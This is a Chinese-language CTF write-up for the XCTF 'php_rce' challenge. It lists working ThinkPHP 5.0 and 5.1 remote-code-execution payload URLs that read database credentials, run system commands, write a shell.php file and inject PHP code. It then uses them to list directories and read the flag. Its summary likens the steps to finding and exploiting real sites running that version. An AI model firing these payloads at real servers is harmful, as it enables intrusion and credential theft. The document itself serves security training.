CTFer成长记录——CTF之Web专题·攻防世界-php_rce
一、题目链接
https://adworld.xctf.org.cn/challenges/list?rwNmOdr=1691398818171
二、解法步骤
RCE意思是(Remote Code Execution),远程代码执行漏洞。这里题目涉及到thinkphp5的框架,那么就可能有对应的漏洞。
ThinkPHP5漏洞Payload:
Thinkphp5.0.22
1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
Thinkphp 5
1、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
Thinkphp5.1
1、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
2、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
3、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
7、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
题目用的是5.0版本,先用5.0.22的payload试试:
?s=.|think\config/get&name=database.username
:
回显数据库名,接着看看其他信息:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
,这里将最后的命令修改为ls,看看目录:
然后找下flag字段:/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
这里也可以进入根目录:/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cd /;ls
:
最后cat flag:/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
三、总结
本题比较像实战中的一个环节,在信息搜集中获取到某个框架的RCE,然后寻找使用该版本的网站,最后尝试利用漏洞。